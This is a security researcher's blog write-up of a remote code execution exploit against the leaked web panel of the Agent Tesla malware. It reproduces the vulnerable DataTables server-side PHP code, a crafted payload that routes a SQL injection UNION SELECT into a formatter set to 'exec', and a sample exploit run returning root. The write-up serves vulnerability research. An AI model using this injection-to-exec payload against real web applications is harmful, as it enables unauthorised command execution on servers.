Overview of code injection in malware's C2 panel.

download

Disclaimer

This program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that I am not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using this program you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not my responsibility.

Finally, this is a personal development, please respect its philosophy and don't use it for bad things!

It all started with a tweet by @ViriBack who found a live Agent Telsa panel with opendir.
Screen-Shot-2018-07-09-at-9.30.29-PM

The hacker forgot to remove the original panel files:

Screen-Shot-2018-07-09-at-9.31.32-PM

Let's download the archive and see what's inside. Most files are encoded with IonCube. Not fun:
Screen-Shot-2018-07-09-at-9.32.37-PM

Except hacker forgot to remove the examples from DataTables.

Screen-Shot-2018-07-09-at-9.33.14-PM

Below is the code of the example:

mb_internal_encoding('UTF-8');

// DB table to use
$table = $_GET['table'];

// Table's primary key
$primaryKey = $_GET['primary'];

if(isset($_GET['where'])){
	$where = base64_decode($_GET['where']);
}else{
	$where = "";
}


$idArray = unserialize(urldecode($_GET['clmns']));

// SQL server connection information
require('../../config.php');
$sql_details = array(
	'user' => $mysql_user,
	'pass' => $mysql_password,
	'db'   => $mysql_database,
	'host' => $mysql_host
);


/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
 * If you just want to use the basic configuration for DataTables with PHP
 * server-side, there is no need to edit below this line.
 */

require( 'ssp.class.php' );

echo json_encode(
	SSP::complex( $_GET, $sql_details, $table, $primaryKey, $idArray, NULL, $where)
);

?>

Basically we can construct a demo query and load it through SSP::complex. Cool.

There are two functions we are interested in SSP class:

  1. data_output
  2. complex itself

So in the data_output, we can setup a filter:

static function data_output ( $columns, $data )
	{
		$out = array();

		for ( $i=0, $ien=count($data) ; $i<$ien ; $i++ ) {
			$row = array();

			for ( $j=0, $jen=count($columns) ; $j<$jen ; $j++ ) {
				$column = $columns[$j];

				// Is there a formatter?
				if ( isset( $column['formatter'] ) ) {
					$row[ $column['dt'] ] = $column['formatter']( $data[$i][ $column['db'] ], $data[$i] );
				}
				else {
					$row[ $column['dt'] ] = $data[$i][ $columns[$j]['db'] ];
				}
			}

			$out[] = $row;
		}

		return $out;
	}

$row[ $column['dt'] ] = $column['formatter']( $data[$i][ $column['db'] ], $data[$i] );
If we can somehow make it so:

$column['formatter'] = exec
$data[$i][ $column['db'] ] = our command
$data[$i] = output by default

$row[ $column['dt'] ] = $column['formatter']( $data[$i][ $column['db'] ], $data[$i] );

Essentially what we want is to be able to select a command from the database and execute it.

Let's see about that. in complex itself, the $whereAll parameter is injected directly into the query. Awesome, a text-book SQL injection.

Let's construct a query:

$sr = [

  array(
  	"db" => "pwd", 
  	"dt" => "username",
  	"formatter" => "exec"
  )
];
$where = "1=1 UNION SELECT \"find / -name 'config.php'\"";

Let's put the panel code on local server and see if the exploit works:

python exploit.py http://127.0.0.1/WebPanel/

Agent Tesla RCE by prsecurity.
[*] Probing...
[+] uid=0(root) gid=0(root)

Screen-Shot-2018-07-09-at-10.43.54-PM

Exploit (if you are a security researcher and need a password ping me, contact info is in "resume"):
https://github.com/prsecurity/Agent-Tesla-Panel-Exploit